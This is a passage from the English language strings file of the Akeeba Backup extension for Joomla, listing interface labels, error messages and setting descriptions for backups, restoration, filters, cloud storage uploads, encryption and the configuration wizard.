      The last error message was:" BACKUP_TEXT_READLOGFAIL="Please click the 'View Log' button on the toolbar to view the Akeeba Backup log file for further information." BACKUP_LABEL_DOMAIN_INIT="Initializing backup process" BACKUP_LABEL_DOMAIN_INSTALLER="Embedding the installer in the archive" BACKUP_LABEL_DOMAIN_PACKDB="Backing up databases" BACKUP_LABEL_DOMAIN_PACKING="Backing up files" BACKUP_LABEL_DOMAIN_FINISHED="Finalizing the backup process" BACKUP_HEADER_BACKUPFINISHED="Backup Completed Successfully" BACKUP_TEXT_CONGRATS="Congratulations! The backup process has completed successfully.
      You can now navigate to another page." BACKUP_TEXT_LASTRESPONSE="Last server response %ss ago" BACKUP_TEXT_BACKINGUP="Please do not browse to another page unless you see a completion or error message." KETTENRAD_TIMEOUT="Akeeba Backup has timed out. Please read the documentation." PROFILE_CANNOT_DELETE_DEFAULT="You can not delete the default Profile (the one with id=1)" PROFILE_INVALID_ID="Invalid Profile ID" PROFILE_SAVE_OK="The Profile was saved successfully" PROFILE_SAVE_ERROR="There was an error saving the Profile" PROFILE_DELETE_OK="The Profile has been successfully deleted" PROFILE_DELETE_ERROR="There was an error deleting the Profile." PROFILE_COPY_OK="The Profile and its associated settings have been copied successfully" PROFILE_COPY_ERROR="The Profile and its associated settings could not be copied." PROFILE_LABEL_DESCRIPTION="Profile Description" PROFILE_LABEL_DESCRIPTION_TOOLTIP="Enter a description for this profile. It doesn't have to be unique and is only used to help you with distinguishing individual profiles." PROFILE_COLLABEL_DESCRIPTION="Description" PROFILE_PAGETITLE_EDIT="Edit Profile" PROFILE_PAGETITLE_NEW="New Profile" BACKUP_STATUS_NONE="No backup taken" STATS_LABEL_DELETEFILES="Delete Files" STATS_LABEL_STATUS_FAIL="Failed" STATS_LABEL_STATUS_PENDING="Pending" STATS_LABEL_ORIGIN_FRONTEND="Frontend" STATS_LABEL_ORIGIN_BACKEND="Backend" STATS_LABEL_ORIGIN_CLI="Command-line" STATS_LABEL_DESCRIPTION="Description" STATS_LABEL_START="Start" STATS_LABEL_STATUS="Status" STATS_LABEL_ORIGIN="Origin" STATS_LABEL_TYPE="Type" STATS_LABEL_STATUS_OK="OK" STATS_LABEL_NODESCRIPTION="(no description)" STATS_LABEL_COMMENT="Comment" STATS_LABEL_DURATION="Duration" STATS_LABEL_PROFILEID="Profile" STATS_LABEL_SIZE="Size" STATS_LABEL_ARCHIVE="Archive" STATS_LABEL_STATUS_OBSOLETE="Obsolete" STATS_LABEL_PART="Part %02d" STATS_LABEL_RESTORE="Restore" STATS_LOG_SAVEDOK="The changes to the backup entry have been saved successfully" STATS_LOG_SAVEERROR="The changes to the backup entry have not been saved" STATS_LOG_DOWNLOAD_CONFIRM="Downloading backup files through your browser can result\nunder certain circumstances to corrupt or partial downloads\nand subsequent restoration failure.\n\nAre you sure you want to continue?" STATS_LOG_DOWNLOAD="Download" STATS_LOG_EDITCOMMENT="View / Edit comment" STATS_MSG_DELETED="Backup entry and archive were deleted successfully" STATS_MSG_DELETEDFILE="Backup archive was deleted successfully" STATS_ERROR_INVALIDID="Invalid backup record identifier" STATS_ERROR_INVALIDDOWNLOAD="Can't download the file of the specified backup record" LOG_LABEL_DOWNLOAD="Download log file" LOG_ERROR_LOGFILENOTEXISTS="The log file, akeeba.log, does not exist in your output directory" LOG_ERROR_UNREADABLE="The log file is unreadable" FILTERS_LABEL_TYPE="Type" FILTERS_LABEL_FILTERITEM="Filter Item" FILTERS_LABEL_UIROOT="<root>" FILTERS_LABEL_UIERRORFILTER="An error occurred while applying the filter for "%s"" FILTERS_LABEL_ADDNEW="Add new filter" FILTER_EDITOR_TITLE="Edit" FSFILTER_LABEL_ROOTDIR="Root directory:" FSFILTER_LABEL_CURDIR="Current directory:" FSFILTER_LABEL_DIRS="Subdirectories" FSFILTER_LABEL_FILES="Files" FSFILTER_LABEL_NUKEFILTERS="Reset all filters" FSFILTER_ERROR_TITLE="An error has occurred" FSFILTER_TYPE_DIRECTORIES="Exclude Directory" FSFILTER_TYPE_SKIPDIRS="Skip Subdirectories" FSFILTER_TYPE_SKIPFILES="Skip Files" FSFILTER_TYPE_FILES="Exclude File" CPANEL_HEADER_BASICOPS="Basic Operations" CPANEL_HEADER_INCLUSION="Include data in the backup" CPANEL_HEADER_EXCLUSION="Exclude data from the backup" CPANEL_PROFILE_TITLE="Active Profile" CPANEL_PROFILE_BUTTON="Switch Profiles" PANEL_PROFILE_SWITCH_ERROR="Error switching the active profile" PANEL_PROFILE_SWITCH_OK="Profile changed successfully" CPANEL_UPGRADE_UPTODATE="Check for upgrades" CPANEL_UPGRADE_NOW="UPGRADE AVAILABLE" CPANEL_LABEL_STATUSSUMMARY="Status Summary" STATUS_OK="Akeeba Backup is ready to backup your site" STATUS_WARNING="Akeeba Backup is ready to backup your site, but there are potential issues" STATUS_ERROR="Detected errors prohibit intended operation" CPANEL_LABEL_STATUSDETAILS="Detected issues" BACKUP_STATS="Backup Statistics" TRANSLATION_CREDITS="Translation Credits" CPANEL_LABEL_NEWSTITLE="Akeeba Backup News" NEWS_INTRODUCTION="The latest Akeeba Backup announcements contain important information about bug fixes and new versions. Check them out regularly to find out what's new with the Akeeba Backup project!" COPYRIGHT="Copyright ©2006-%s Nicholas K. Dionysopoulos. All Rights Reserved." LICENSE="Akeeba Backup is Free Software and is distributed under the terms of the GNU General Public License, version 3 or - at your option - any later version." DBFILTER_LABEL_ROOTDIR="Current database:" DBFILTER_LABEL_SITEDB="Site's main database" DBFILTER_LABEL_TABLES="Database tables, views, procedures, functions and triggers" DBFILTER_LABEL_EXCLUDENONCORE="Exclude non-core tables" DBFILTER_LABEL_NUKEFILTERS="Reset all filters" DBFILTER_ERROR_TITLE="An error has occurred" DBFILTER_TYPE_TABLES="Exclude this" DBFILTER_TYPE_TABLEDATA="Do not backup its contents" DBFILTER_TYPE_REGEXTABLES="Exclude a table" DBFILTER_TYPE_REGEXTABLEDATA="Do not backup a table's contents" DBFILTER_TABLE_MISC="Merge, temporary, memory, federated, blackhole or miscellaneous table type
      Its data is never backed up by Akeeba Backup." DBFILTER_TABLE_TABLE="MyISAM or InnoDB database table" DBFILTER_TABLE_VIEW="MySQL View" DBFILTER_TABLE_PROCEDURE="Stored procedure" DBFILTER_TABLE_FUNCTION="Stored function" DBFILTER_TABLE_TRIGGER="Database trigger" UI-MULTIDB-DRIVER="Database driver" UI-MULTIDB-HOST="Database server hostname" UI-MULTIDB-PORT="Database server port" UI-MULTIDB-USERNAME="Username" UI-MULTIDB-PASSWORD="Password" UI-MULTIDB-DATABASE="Database name" UI-MULTIDB-PREFIX="Prefix" UI-MULTIDB-TEST="Test Connection" UI-MULTIDB-SAVE="Save" UI-MULTIDB-CANCEL="Cancel" UI-MULTIDB-LOADING="Loading; please wait..." UI-MULTIDB-CONNECTOK="Connected to database!" UI-MULTIDB-CONNECTFAIL="Could not connect to database. Please check your settings. Last error:" UI-MULTIDB-SAVEFAIL="Saving failed; please retry" MULTIDB_LABEL_HOST="Database server host name" MULTIDB_LABEL_DATABASE="Database name" EFF_LABEL_DIRECTORY="Directory" UPDATE_LABEL_UPGRADEFOUND="An upgrade was found!" UPDATE_LABEL_NOUPGRADESFOUND="Your Akeeba Backup installation is up-to-date" UPDATE_LABEL_NOTAVAILABLE="Update information not available" UPDATE_LABEL_PACKAGELOCATION="Package location:" UPDATE_LABEL_LATESTVERSION="Latest version:" UPDATE_LABEL_EDITION="Software edition" UPDATE_LABEL_YOURVERSION="Your version:" UPDATE_LABEL_RELEASEDON="Released on " UPDATE_STATUS_STABLE="Stable" UPDATE_STATUS_ALPHA="Alpha" UPDATE_STATUS_BETA="Beta" UPDATE_STATUS_SVN="Developer's snapshot" UPDATE_LABEL_FORCE="Manually requery update server" UPDATE_LABEL_UPDATENOW="Upgrade" UPDATE_ERROR_NOUPDATES="No updates were available" UPDATE_ERROR_CANTEXTRACT="Could not extract the update package. Please check your Joomla! temporary directory permissions or try installing the upgrade package manually." EXTFILTER_COMPONENTS="Components" EXTFILTER_LANGUAGES="Languages" EXTFILTER_MODULES="Modules" EXTFILTER_TEMPLATES="Templates" EXTFILTER_PLUGINS="Plug-ins" EXTFILTER_ERROR_INVALIDCOMPONENT="Invalid component "%s"" EXTFILTER_ERROR_INVALIDMODULE="Invalid module "%s"" EXTFILTER_ERROR_INVALIDPLUGIN="Invalid plugin "%s"" EXTFILTER_ERROR_INVALIDTEMPLATE="Invalid template "%s"" EXTFILTER_ERROR_INVALIDLANGUAGE="Invalid language "%s"" EXTFILTER_MSG_TOGGLEDCOMPONENT="Filter status toggled for component "%s"" EXTFILTER_MSG_TOGGLEDMODULE="Filter status toggled for module "%s"" EXTFILTER_MSG_TOGGLEDPLUGIN="Filter status toggled for plug-in "%s"" EXTFILTER_MSG_TOGGLEDTEMPLATE="Filter status toggled for template "%s"" EXTFILTER_MSG_TOGGLEDLANGUAGE="Filter status toggled for language "%s"" EXTFILTER_LABEL_FRONTEND="Public front-end" EXTFILTER_LABEL_BACKEND="Administrator back-end" EXTFILTER_LABEL_STATE="State" EXTFILTER_LABEL_AREA="Area" EXTFILTER_LABEL_TYPE="Type" EXTFILTER_LABEL_COMPONENT="Component" EXTFILTER_LABEL_MODULE="Module" EXTFILTER_LABEL_PLUGIN="Plug-in" EXTFILTER_LABEL_TEMPLATE="Template" EXTFILTER_LABEL_LANGUAGE="Language" RESTORE_ERROR_INVALID_RECORD="Invalid backup record" RESTORE_ERROR_ARCHIVE_MISSING="The backup archive could not be located" RESTORE_ERROR_INVALID_TYPE="Invalid file type. The integrated restoration will only work with JPA and ZIP files." RESTORE_ERROR_CANT_WRITE="Could not write restoration.php. Please make sure the administrator/components/com_akeeba directory is writable." RESTORE_LABEL_INPROGRESS="Archive extraction in progress" RESTORE_LABEL_DONOTCLOSE="Do not close this window or navigate to another page while the archive extraction is in progress" RESTORE_LABEL_BYTESREAD="Bytes read" RESTORE_LABEL_BYTESEXTRACTED="Bytes extracted" RESTORE_LABEL_FILESEXTRACTED="Files extracted" RESTORE_LABEL_FAILED="The extraction has failed" RESTORE_LABEL_FAILED_INFO="Extraction of the backup archive has failed.
      The last error message was:" RESTORE_LABEL_SUCCESS="The extraction was completed successfully" RESTORE_LABEL_FINALIZE="Finalise restoration" RESTORE_LABEL_EXTRACTIONMETHOD="Files extraction method" RESTORE_LABEL_EXTRACTIONMETHOD_DIRECT="Write directly to files" RESTORE_LABEL_EXTRACTIONMETHOD_FTP="Use the FTP layer" RESTORE_LABEL_FTPOPTIONS="FTP Layer Options" RESTORE_LABEL_START="Start Restoration" ;; ================================================================================ ;; Akeeba Backup 3.1 ;; ================================================================================ ENGINE_POSTPROC_CLOUDFILES_TITLE="Upload to RackSpace CloudFiles" ENGINE_POSTPROC_CLOUDFILES_DESCRIPTION="Uploads the backup archive to RackSpace CloudFiles.
      Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!" CONFIG_CLOUDFILESUSERNAME_TITLE="Username" CONFIG_CLOUDFILESUSERNAME_DESCRIPTION="Your CloudFiles user name" CONFIG_CLOUDFILESAPIKEY_TITLE="API Key" CONFIG_CLOUDFILESAPIKEY_DESCRIPTION="Your CloudFiles API key" CONFIG_CLOUDFILESCONTAINER_TITLE="Container" CONFIG_CLOUDFILESCONTAINER_DESCRIPTION="The CloudFiles container to hold the backup archives" CONFIG_CLOUDFILESDIRECTORY_TITLE="Directory" CONFIG_CLOUDFILESDIRECTORY_DESCRIPTION="The directory within the CloudFiles container to store the backup archives. To store everything on the container's root, please leave blank." ENGINE_POSTPROC_AZURE_TITLE="Upload to Microsoft Windows Azure BLOB Storage" ENGINE_POSTPROC_AZURE_DESCRIPTION="Uploads the backup archive to Microsoft Windows Azure BLOB Storage.
      Remember to set a split archive size of 2-64Mb or you risk backup failure due to timeouts! Parts over 64Mb can not be uploaded at all." CONFIG_AZURE_ACCOUNTNAME_TITLE="Account name" CONFIG_AZURE_ACCOUNTNAME_DESCRIPTION="The name of your account. If your endpoint is foobar.blob.core.windows.net then your account name is foobar and you must type foobar in this box." CONFIG_AZURE_KEY_TITLE="Primary Access Key" CONFIG_AZURE_KEY_DESCRIPTION="You can find your Primary Access Key at your account page on windows.azure.com. Copy and paste it here. It always has two equal signs at the end." CONFIG_AZURE_CONTAINER_TITLE="Container" CONFIG_AZURE_CONTAINER_DESCRIPTION="The Windows Azure BLOB Storage container to hold the backup archives. The container must already exist." CONFIG_AZURE_DIRECTORY_TITLE="Directory" CONFIG_AZURE_DIRECTORY_DESCRIPTION="The directory within the Windows Azure BLOB Storage container to store the backup archives. To store everything on the container's root, please leave blank." ENGINE_POSTPROC_EMAIL_TITLE="Send by Email" ENGINE_POSTPROC_EMAIL_DESCRIPTION="Sends you the backup archive as an email attachment.
      Remember to set a split archive size of 1-2Mb or you risk backup failure due to timeouts and memory outage!" CONFIG_PROCEMAIL_ADDRESS_TITLE="Email address" CONFIG_PROCEMAIL_ADDRESS_DESCRIPTION="The email address where the backup files will be sent to" CONFIG_PROCEMAIL_SUBJECT_TITLE="Email subject" CONFIG_PROCEMAIL_SUBJECT_DESCRIPTION="The subject of the email (optional). This is option is here to primarily help you distinguish between backups from multiple sites." AKEEBA_DEFAULT_EMAIL_SUBJECT="You have a new backup part" CONFIG_POSTPROCPARTS_TITLE="Process each part immediately" CONFIG_POSTPROCPARTS_DESCRIPTION="When enabled, Akeeba Backup will run the post-processing engine against each part as soon as it is complete. When disabled, Akeeba Backup will run the post-processing for all parts at the end of the backup process." CONFIG_USEIFRAMES_TITLE="Use IFRAMEs instead of AJAX" CONFIG_USEIFRAMES_DESCRIPTION="If enabled, Akeeba Backup will use hidden IFRAMEs instead of the regular AJAX communications to the server. Use only if you experience strange server errors." STATS_LABEL_ORIGIN_JSON="JSON API" STATS_LABEL_ORIGIN_XMLRPC="Remote API" STATS_LABEL_ORIGIN_LITE="Lite Mode" LOG_CHOOSE_FILE_VALUE="- Select a backup origin -" LOG_CHOOSE_FILE_TITLE="Please choose a log file to display:" LOG_NONE_FOUND="No log file was found" CONFIG_BACKUPTYPE_INCFILE="Files only, incremental" AKEEBA_CONTROLPANEL="Control Panel" CONFIG_WHERE_ARE_THE_FILTERS="If you are looking for the filters –e.g. for excluding files, directories and database tables– please click on the Cancel button to get back to the Control Panel page where you can access these features directly." ENGINE_ARCHIVER_JPS_TITLE="Encrypted Archives (JPS)" ENGINE_ARCHIVER_JPS_DESCRIPTION="Creates archives encrypted with the industry-standard AES-128 encryption method, in a format very similar to JPA. Requires the mcrypt PHP extension to be installed and activated on your site." CONFIG_JPS_KEY_TITLE="Encryption key" CONFIG_JPS_KEY_DESCRIPTION="This key will be used to encrypt your archive's contents. The key is case sensitive, i.e. ABC, abc and Abc are three different passwords. Keep a copy of the password in a safe place! If you lose it there is no way to recover it." RESTORE_LABEL_JPSOPTIONS="Secure Archive Options" RESTORE_LABEL_RUNINSTALLER="Run the site restoration script" RESTORE_LABEL_SUCCESS_INFO2="You must now run the Akeeba Backup Installer (ABI). Do not close this window!. After the restoration is over, close ABI's window and click the new Finalise Restoration button below to remove the installation directory and begin using your restored site." STATS_LABEL_ORIGIN_LAZY="Lazy Plugin" ENGINE_ARCHIVER_ZIPNATIVE_TITLE="ZIP using ZipArchive class" ENGINE_ARCHIVER_ZIPNATIVE_DESCRIPTION="The ZIP archive will be created using PHP's ZipArchive class. IMPORTANT: This engine does not support archive splitting or symlink handling and can, therefore, lead to backup issues. If you get timeout errors, AJAX errors or Internal Server Error messages you will have to switch to a different archiver engine and enable archive splitting." CONFIG_FEEMAILSUBJECT_LABEL="Email Subject" CONFIG_FEEMAILSUBJECT_DESC="Leave blank to use default. You can use all of Akeeba Backup's variables you can use for naming archive files, e.g. [HOST] and [DATE]" CONFIG_FEEMAILBODY_LABEL="Email Body" CONFIG_FEEMAILBODY_DESC="Leave blank to use default. You can use all of Akeeba Backup's variables you can use for naming archive files, e.g. [HOST] and [DATE]. You can also use [PROFILENUMBER] for the current profile's number, [PROFILENAME] for the current profile's name, [PARTCOUNT] for the number of total generated backup archive's parts and [FILELIST] for a list of backup archive parts." FTPBROWSER_ERROR_HOSTNAME="Invalid FTP host or port" FTPBROWSER_ERROR_USERPASS="Invalid FTP username or password" FTPBROWSER_ERROR_NOACCESS="Directory doesn't exist or you don't have enough permissions to access it" FTPBROWSER_ERROR_UNSUPPORTED="Sorry, your FTP server doesn't support our FTP directory browser." FTPBROWSER_LBL_GOPARENT="<up one level>" FTPBROWSER_LBL_ERROR="An error occurred" FTPBROWSER_LBL_INSTRUCTIONS="Click on a directory to navigate into it. Click on OK to select that directory, Cancel to abort the procedure." CONFIG_UI_FTPBROWSER_TITLE="FTP Directory Browser" CONFIG_LIVEUPDATE_USESVN_LABEL="Update only to developer releases" CONFIG_LIVEUPDATE_USESVN_DESC="When set to Yes, Akeeba Backup will update to developer releases. WARNING! YOU WILL NOT GET NOTIFIED ABOUT OFFICIAL ALPHA, BETA, RC OR STABLE VERSIONS ANY MORE!" ;; ================================================================================ ;; Added after 3.1.4 ;; ================================================================================ CONFIG_NODEPENDENCIES_TITLE="No dependency tracking" CONFIG_NODEPENDENCIES_DESCRIPTION="When enabled, Akeeba Backup will not track dependencies between tables and views. Use this only when you have hundreds of database tables and you are not using MySQL VIEWs, FUNCTIONs, PROCEDUREs, TRIGGERs or tables using the (extremely rarely used) TEMPORARY, MEMORY, MERGE or FEDERATED engines." AKEEBA_CONFWIZ="Configuration Wizard" AKEEBA_WIZARD_INTROTEXT="The Configuration Wizard runs a series of benchmarks on your server to determine the optimal backup settings for your site. Please do not navigate away from this page. It is normal to appear frozen for periods up to three (3) minutes, depending on your server speed." AKEEEBA_WIZARD_PROGRESS="Benchmarking in Progress" AKEEBA_CONFWIZ_AJAX="Determining optimal AJAX method" AKEEBA_CONFWIZ_MINEXEC="Optimizing the minimum execution time" AKEEBA_CONFWIZ_DBOPT="Optimizing Database Dump engine settings" AKEEBA_CONFWIZ_MAXEXEC="Optimizing the maximum execution time" AKEEBA_CONFWIZ_SPLITSIZE="Determining the required part size for split archives" AKEEBA_WIZARD_HEADER_FAILED="Configuration Wizard Failure" AKEEBA_WIZARD_UI_TRYAJAX="Trying regular AJAX" AKEEBA_WIZARD_UI_TRYIFRAME="Trying IFRAMEs instead of AJAX" AKEEBA_WIZARD_UI_CANTUSEAJAX="Akeeba Backup could not determine a suitable AJAX method for use with your server. Please contact our support forum for further instructions." AKEEBA_WIZARD_UI_MINEXECTRY="Trying %s seconds" AKEEBA_WIZARD_UI_CANTSAVEMINEXEC="Could not save the minimum execution time preference. You will have to configure Akeeba Backup manually." AKEEBA_WIZARD_UI_SAVEMINEXEC="Saving the minimum execution time preference" AKEEBA_WIZARD_UI_CANTDETERMINEMINEXEC="Could not determine the minimum execution time. This indicates a sever problem communicating with your server. Please try configuring Akeeba Backup manually." AKEEBA_WIZARD_UI_CANTFIXDIRECTORIES="Akeeba Backup could not find find a writable output and temporary directory. Please give write permissions to the administrator/components/com_akeeba/backup directory and run this wizard again." AKEEBA_WIZARD_UI_CANTDBOPT="Akeeba Backup could not determine the optimal database dump settings. Make sure your server runs on MySQL 5.0 or later and that your database user is allowed to run the SHOW TABLE STATUS command before running this wizard again." AKEEBA_WIZARD_UI_EXECTOOLOW="Akeeba Backup detected that your server requires a maximum execution time that is too low to be practical. You are better off switching hosts or asking your host to increase PHP's maximum execution time and lift any CPU usage limitations from your account." AKEEBA_WIZARD_UI_SAVINGMAXEXEC="Saving maximum execution time preference" AKEEBA_WIZARD_UI_CANTSAVEMAXEXEC="Akeeba Backup could not save the maximum execution time preferences. You will have to configure it manually." AKEEBA_WIZARD_UI_CANTDETERMINEPARTSIZE="Akeeba Backup could not determine a part size suitable for your server. Please ensure you have adequate free space on your account and run this wizard again." AKEEBA_WIZARD_UI_PARTSIZE="Testing a part size of %s Mb" AKEEBA_WIZARD_HEADER_FINISHED="Finished Benchmarking" AKEEBA_WIZARD_CONGRATS="Congratulations! You have completed the automatic configuration wizard. You can now test your new configuration by running a backup, or fine-tune them in the Configuration page." ;; ================================================================================ ;; Added after 3.1.5 ;; ================================================================================ ; Configuration encryption support in Professional release CONFIG_SECURITY_HEADER_LABEL="Security" CONFIG_SECURITY_HEADER_DESC="Security settings" CONFIG_SECURITY_USEENCRYPTION_LABEL="Use encryption" CONFIG_SECURITY_USEENCRYPTION_DESCRIPTION="When enabled, configuration settings are encrypted using the industry-standard AES-128 encryption." CONFIG_UI_SETTINGS_SECURED="Your settings are secured by 128-bit encryption. You can safely store your passwords in the configuration." CONFIG_UI_SETTINGS_NOTSECURED="Your server does not support encryption of your configuration settings. We strongly advise you not to store any passwords in the configuration." ; Optional filters and date conditional filter CONFIG_HEADER_OPTIONALFILTERS="Optional filters" CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_TITLE="Date conditional filter" CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_DESCRIPTION="When enabled, only files modified after a specific date and time will be backed up." CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_TITLE="Backup files modified after" CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_DESCRIPTION="Akeeba Backup will backup files modified after this date and time. The format is YYYY-MM-DD hh:mm:ss. All dates and times are expressed in your server's timezone." ; Remotely stored files management AKEEBA_REMOTEFILES="Remotely stored files management" STATS_LABEL_REMOTEFILEMGMT="Manage remotely stored files" REMOTEFILES_FETCH="Fetch back to server" REMOTEFILES_DELETE="Delete" REMOTEFILES_ERR_NOTSUPPORTED_HEADER="No remote file operations available" REMOTEFILES_ERR_NOTSUPPORTED="Sorry, the remote storage engine you are using does not support downloading or deleting files stored remotely, or you have already transferred the files to your server and deleted them from the remote server." REMOTEFILES_ERR_INVALIDID="Invalid download ID specified" REMOTEFILES_LBL_DOWNLOADLOCALLY="Download to your desktop" REMOTEFILES_LBL_NOTSUPPORTSLOCALDL="Sorry, the currently selected engine does not support downloading remotely stored files to your PC or you have already deleted the files from the remote server." REMOTEFILES_PART="Part #%u" REMOTEFILES_ERR_CANTDOWNLOAD="Could not download file. The error was: " REMOTEFILES_ERR_CANTOPENFILE="Can't open local file %s for writing; aborting the donwload process" REMOTEFILES_LBL_JUSTFINISHED="Finished downloading your backup set from the remote storage back to the local server" REMOTEFILES_LBL_DOWNLOADEDSOFAR="Downloaded %u bytes of %u total bytes (%u %%)" REMOTEFILES_LBL_LOCALFILEHEADER="Local file: " REMOTEFILES_ERR_CANTDELETE="Could not delete the remotely stored file. The error was: " REMOTEFILES_LBL_JUSTFINISHEDELETING="Remotely stored files have been deleted successfully" ; Translations of warning messages for media folder permissions and jQuery loading AKEEBA_CPANEL_WARN_WARNING="WARNING" AKEEBA_CPANEL_WARN_PERMS_L1="Akeeba Backup could not determine the permissions of the media/com_akeeba directory." AKEEBA_CPANEL_WARN_PERMS_L2="Please do one of the following:" AKEEBA_CPANEL_WARN_PERMS_L3A="Activate Joomla!'s FTP mode in Global Configuration" AKEEBA_CPANEL_WARN_PERMS_L3B="Change the permissions of the media/com_akeeba directory and all of its subdirectories to 0755 and all of its files to 0644 using your FTP client." AKEEBA_CPANEL_WARN_PERMS_L4="Akeeba Backup will most likely not work at all if you do not perform these steps. Do not ask for support if you can see this message. All the information you need is already on this message." AKEEBA_CPANEL_WARN_ERROR="ERROR" AKEEBA_CPANEL_WARN_JQ_L2="If you do not do that, the component will not work." ; File and directories exclusion FSFILTER_LABEL_ADDNEWFILTER="Add new filter:" ; Configuration page CONFIG_LABEL_INFORMATION="Useful Information" ; Administer Backup Files STATS_LABEL_MANAGEANDDL="Manage & Download" RESTORE_LABEL_REMOTETIP="Tip: In order to restore to a remote server just select the "Use the FTP layer" option and supply your remote server's FTP connection information in the FTP Layer Options below." RESTORE_LABEL_SUCCESS_INFO2B="If, however, you are restoring to a remote site do not click either button. Instead, visit the restoration script's URL at http://www.yoursite.com/installation/index.php. After the restoration is over, click on "Remove the installation folder" link on the restoration script's final page or, if this fails, remove the installation directory from that site using your favourite FTP application." ; Archive discovery view DISCOVER_ERROR_NODIRECTORY="You have not selected a valid directory" DISCOVER_ERROR_NOFILES="There are no archive files to import in the selected directory. Please go back and select another directory." DISCOVER_ERROR_NOFILESSELECTED="You didn't select any files to import." DISCOVER_LABEL_DIRECTORY="Directory" DISCOVER_LABEL_SELECTDIR="Select a directory containing backup archives:" DISCOVER_LABEL_SCAN="Scan for files" DISCOVER_LABEL_FILES="Archive Files Detected" DISCOVER_LABEL_SELECTFILES="Please select the files to import. Hold the CTRL or Command key while clicking on the files in order to make a multiple files selection." DISCOVER_LABEL_IMPORT="Import the files" DISCOVER_LABEL_GOBACK="Go back to the directory selection" DISCOVER_LABEL_IMPORTDONE="Import operation completed successfully." DISCOVER_LABEL_IMPORTEDDESCRIPTION="Imported backup archive" ; Component Configuration CONFIG_DOWNLOADID_LABEL="Download ID" CONFIG_DOWNLOADID_DESC="This is required to enable live updates of the Professional release. Please visit https://www.akeebabackup.com/my-subscriptions.html to get your personal Download ID." CONFIG_REMOTEQUOTA_ENABLE_TITLE="Enable remote files quotas" CONFIG_REMOTEQUOTA_ENABLE_DESCRIPTION="When enabled, the quota settings below will be applied to files stored on remote storage, such as Amazon S3 or remote FTP servers." ; Live updates UPDATE_ERROR_CANTDOWNLOAD2="Could not download the update package. Make sure your server's firewall doesn't block the connection and that you have specified a valid Download ID for the Professional edition." UPDATE_ERROR_USERNAMEPASSREQUIRED2="You have to specify your AkeebaBackup.com Download ID in the component's parameters for the update to work!" ; Control panel CPANEL_LABEL_COMPONENTCONFIG="Component Parameters" ;; ================================================================================ ;; Added after 3.2 ;; ================================================================================ AKEEBA_ACL_TITLE="Access Control" AKEEBA_ACL_USERNAME="Username" AKEEBA_ACL_USERGROUP="Group" AKEEBA_ACL_PERM_BACKUP="Backup" AKEEBA_ACL_PERM_DOWNLOAD="Download" AKEEBA_ACL_PERM_CONFIGURE="Configure" ;; ================================================================================ ;; Added after 3.2.2 ;; ================================================================================ CONFIG_MYSQLNOBTREE_TITLE="Skip index engine" CONFIG_MYSQLNOBTREE_TIP="Removes USING BTREE and USING HASH from table index definitions in dump files. This is required for restoring to servers which have either of the indexing engines turned off (e.g. on newest XAMPP versions). WARNING! THIS MAY CAUSE RESTORATION PROBLEMS ON SOME SERVERS." ;; ================================================================================ ;; Added after 3.2.3 ;; ================================================================================ CONFIG_S3LEGACY_TITLE="Disable multipart uploads" CONFIG_S3LEGACY_DESCRIPTION="When enabled, all uploads to Amazon S3 will be forced to be single part. Use this if you get RequestTimeout errors from the S3 engine when uploading backup parts." ;; ================================================================================ ;; Added or changed after 3.2.4 ;; ================================================================================ CONFIG_ADVANCED_SBBLF_LABEL="Disable step break before large files" CONFIG_ADVANCED_SBBLF_DESC="Akeeba Backup will break the processing step before archiving a large file. When you enable this option, Akeeba Backup will work faster. However, this may result to timeout or Internal Server errors." CONFIG_ADVANCED_SBALF_LABEL="Disable step break after large files" CONFIG_ADVANCED_SBALF_DESC="Akeeba Backup will break the processing step after archiving a large file. When you enable this option, Akeeba Backup will work faster. However, this may result to timeout or Internal Server errors." CONFIG_ADVANCED_SBPA_LABEL="Disable proactive step breaking" CONFIG_ADVANCED_SBPA_DESC="Akeeba Backup will break the processing step if it thinks that it will run out of time before it archives a file. This calculation is not entirely accurate and may result in slower backups. When you enable this option, Akeeba Backup will work faster. However, this may result to timeout or Internal Server errors." CONFIG_ADVANCED_SBBD_LABEL="Disable step break between domains" CONFIG_ADVANCED_SBBD_DESC="Akeeba Backup will break the processing step whenever it starts working on a new domain. This improves the verbosity of the process, but it extends the backup time by 10-20 seconds. When you enable this option, Akeeba Backup will work faster. However, you might experience a jumpy behaviour in the steps reported on the backup page." CONFIG_ADVANCED_SBPP_LABEL="Disable step break in finalization" CONFIG_ADVANCED_SBPP_DESC="Akeeba Backup will break the processing step between sub-steps of the backup finalization and post-processing. This can add about 10 seconds to the overall backup time. When you enable this option, Akeeba Backup will work faster. However, this may result to timeout or Internal Server errors." CONFIG_ADVANCED_SETTIMELIMIT_LABEL="Set an infinite PHP time limit" CONFIG_ADVANCED_SETTIMELIMIT_DESC="If your server doesn't run PHP in Safe Mode and supports set_time_limit(), Akeeba Backup will attempt to set an infinite PHP maximum execution time to work around potential timeout issues" CONFIG_SIZEQUOTA_VALUE_DESCRIPTION="If the total size of backup archives taken with the current profile exceeds this limit, the oldest backups will be deleted from the server.

      Tip: Select Custom and type in your desired value if it's not on the list." CONFIG_COUNTQUOTA_VALUE_DESCRIPTION="Akeeba Backup will erase old backup files if they are more than the limit defined in this setting. Multi-part backups are considered as one file!

      Tip: Select Custom and type in your desired value if it's not on the list." CONFIG_MINEXECTIME_DESCRIPTION="Each Akeeba Backup step will last at least as long as defined here. This is required to work around anti-DoS security solutions. If you get 403 Forbidden or AJAX errors, please increase this setting. Setting it to 0 disables this feature.

      Tip: Select Custom and type in your desired value if it's not on the list." CONFIG_MAXEXECTIME_DESCRIPTION="Each Akeeba Backup step will last at most as long as defined here. Use a value lower than your PHP maximum execution time. Usually, setting this to 10 seconds is adequate, except on very restrictive hosts.Tip: Select Custom and type in your desired value if it's not on the list." CONFIG_RUNTIMEBIAS_DESCRIPTION="This defines how conservative Akeeba Backup will be when trying to avoid a time-out. The lower this value, the more conservative it gets. If you get time-out errors, please try decreasing both the Maximum Execution Time and this setting.Tip: Select Custom and type in your desired value if it's not on the list." ;; ================================================================================ ;; Added or changed after 3.2.7 ;; ================================================================================ CONFIG_CLOUDFILESISUKACCOUNT_TITLE="Is it a UK account?" CONFIG_CLOUDFILESISUKACCOUNT_DESCRIPTION="If your account was created via http:/www.rackspace.co.uk, it is a UK-based account and you MUST set this option to Yes, otherwise you will always get an error that your username or API key is wrong." 